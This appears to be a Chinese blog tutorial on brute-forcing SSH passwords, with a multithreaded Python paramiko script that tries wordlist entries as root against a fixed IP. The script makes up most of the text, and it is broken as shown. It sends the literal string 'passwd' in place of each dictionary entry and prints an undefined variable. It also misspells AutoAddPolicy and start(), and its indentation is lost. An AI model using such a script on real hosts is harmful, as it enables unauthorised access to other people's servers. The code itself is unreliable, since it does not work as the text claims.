SSH服务

SSh服务提供远程登录主机,方便管理远程主机(22端口)(类似TELNET服务23端口) ssh服务传输过程中对数据包根据SSH协议加密处理 SSH有两种登陆方式 1、账号密码登录 2、密钥登录 公钥:在/.ssh/authorized_keys文件中 私钥:进行登录

爆破流程

文件读密码(枚举) ​  Paramiko-ssh客户端(尝试登陆) ​  异常处理判断 ​  ​ 成功、失败

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import paramiko
import threading
import queue


def burst(q):
while not q.empty():
password=q.get()
try:

client=paramiko.SSHClient()

client.set_missing_host_key_policy(paramiko.AutoAddpolicy())

client.connect(hostname='192.168.45.136',username='root',password='passwd',timeout=1)

client.close()

print(f'密码正确{passwd}\n',end='')
except:

print(f'密码错误{passwd}\n',end='')

q=queue.Queue()
with open('dict.txt','r') as f:
for i in f.readlines():
q.put(i.strip('\n'))
for i in range(5):
threading.Thread(target=burst,args=(q,)).strat()

这里的脚本和上一个写的脚本结构大体相同,思路也差不多,都是调用了线程,这里连接使用了paramiko模块,使用pip install命令安装一下即可。 那下面就只对不同的部分写一些解释: 1、首先SSH爆破用到了字典,需要使用字典生成工具生成或者自己写一些密码字典。然后是字典的读取使用操作:

1
2
with open('dict.txt','r') as f:
print(f.read())

这串代码能够输出dict.txt里的全部字典,但是在爆破密码时,我们需要逐个对字典里的密码进行尝试,所以就使用了了readlines()方法,readlines() 方法返回一个列表,其中包含文件中的每一行作为列表项。在嵌套循环结构就能得到每一个密码 另外在txt格式的字典中密码都是这样排列 admin 123 456 这种每行一个的密码后面读取出来都会有换行符,这就需要使用i.strip(‘\n’)来删除,避免尝试密码时造成干扰 2、关于连接主机时的验证

1
client.connect(hostname='192.168.45.136',username='root',password='passwd',timeout=1)

在这条语句执行时,客户端回去从know_hosts文件中读取连接主机,如果主机不在文件中,无法与主机进行连接 解决方法: 添加一行代码

1
client.set_missing_host_key_policy(paramiko.AutoAddpolicy())